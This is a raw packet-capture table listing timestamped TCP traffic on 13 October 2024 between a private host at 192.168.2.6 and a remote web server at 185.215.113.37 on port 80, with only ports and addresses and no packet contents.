Oct 13, 2024 00:47:44.882561922 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.882576942 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.882591963 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.882611036 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.882627964 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.882647991 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.882713079 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.882730007 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.882745981 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.882760048 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.882760048 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.882776022 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.882778883 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.882796049 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.882807970 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.882826090 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.883112907 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.883127928 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.883141994 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.883156061 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.883162975 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.883172035 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.883177996 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.883188963 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.883224964 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.883239985 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:45.387305021 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:45.392292976 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:46.106846094 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:46.106957912 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:46.648664951 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:46.653698921 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:47.366537094 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:47.366615057 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:48.889684916 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:48.894705057 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:49.603590965 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:49.603672981 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.300683975 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.305630922 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.521344900 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.521392107 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.521429062 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.521519899 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.521544933 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.521554947 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.521545887 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.521593094 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.521631956 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.521631956 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.521698952 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.521713018 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.521748066 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.521754980 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.521785021 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.521804094 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.521852970 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.521861076 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.521895885 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.521919012 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.521930933 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.521939993 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.521984100 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.644041061 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.644097090 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.644128084 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.644179106 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.644211054 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.644221067 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.644222021 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.644244909 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.644282103 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.644310951 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.644311905 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.644311905 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.644345999 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.644356012 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.644416094 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.644454956 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.644488096 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.644505024 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.644543886 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.644609928 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.644644022 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.644668102 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.644680023 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.644705057 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.644716978 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.644737005 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.644752979 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.644759893 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.644810915 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.644826889 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.644881010 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.644939899 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.644973040 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.644994974 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.645009041 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.645030022 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.645045996 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.645071030 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.645081043 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.645101070 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.645117998 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.645155907 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.645181894 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.645327091 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.645359039 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.645394087 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.645411015 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.645411015 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.645445108 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.768362999 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.768402100 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.768415928 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.768423080 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.768461943 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.768461943 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.768487930 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.768501997 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.768517017 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.768521070 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.768532991 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.768537045 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.768553019 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.768568039 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.768614054 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.768630981 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.768646002 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.768649101 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.768666029 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.768682003 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.768815041 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.768831015 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.768847942 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.768857956 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.768879890 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.768910885 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.768958092 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.768971920 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.768986940 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.768991947 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.769007921 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.769023895 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.769157887 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.769174099 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.769188881 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.769196033 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.769205093 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.769216061 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.769221067 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.769234896 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.769243956 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.769253016 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.769272089 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.769288063 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.769627094 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.769642115 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.769655943 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.769670963 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.769680977 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.769689083 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.769704103 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.769709110 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.769721985 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.769732952 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.769758940 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.770123959 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.770138979 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.770153999 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.770169973 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.770172119 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.770189047 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.770204067 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.770211935 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.770219088 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.770235062 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.770246983 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.770248890 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.770263910 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.770267010 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.770281076 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.770284891 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.770297050 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.770308018 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.770313025 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.770323038 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.770328045 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.770339012 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.770344973 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.770354986 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.770371914 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.770876884 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.770891905 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.770905972 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.770910978 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.770921946 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.770927906 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.770937920 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.770946026 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.770952940 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.770960093 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.770972013 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.770978928 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.770986080 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.770992994 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.771012068 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.771028042 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.892931938 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.892977953 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.892991066 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.893066883 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.893068075 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.893084049 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.893100977 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.893111944 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.893157959 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.893158913 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.893248081 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.893265009 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.893284082 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.893301964 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.893331051 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.893331051 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.893383026 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.893400908 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.893415928 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.893444061 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.893444061 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.893471956 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.893537045 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.893552065 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.893577099 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.893591881 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.893594027 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.893599033 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.893609047 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.893623114 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.893639088 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.893656969 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.893688917 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.893688917 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.893877029 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.893902063 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.893917084 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.893928051 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.893939018 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.893954992 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.893954992 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.893981934 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.894148111 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.894164085 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.894179106 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.894193888 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.894196033 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.894213915 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.894223928 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.894223928 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.894243956 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.894262075 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.894402027 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.894418001 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.894434929 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.894449949 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.894462109 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.894468069 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.894484043 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.894484997 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.894514084 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.894540071 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.894750118 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.894776106 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.894789934 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.894805908 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.894814968 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.894814968 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.894824028 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.894839048 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.894841909 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.894857883 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.894857883 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.894872904 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.894876957 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.894889116 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.894896984 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.894905090 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.894922972 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.894927979 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.894928932 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.894939899 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.894979000 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.894999027 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.895318985 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.895335913 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.895351887 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.895374060 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.895423889 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.895451069 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.895467997 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.895483017 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.895498037 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.895505905 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.895513058 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.895529985 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.895533085 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.895545006 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.895554066 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.895561934 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.895572901 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.895580053 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.895596027 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.895596981 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.895623922 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.895623922 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.895643950 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.896152020 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.896167040 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.896182060 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.896194935 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.896205902 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.896209955 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.896225929 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.896229029 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.896243095 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.896259069 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.896260023 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.896275043 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.896275043 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.896291971 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.896294117 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.896306992 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.896315098 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.896322966 CEST	80	49711	185.215.113.37	192.168.2.6
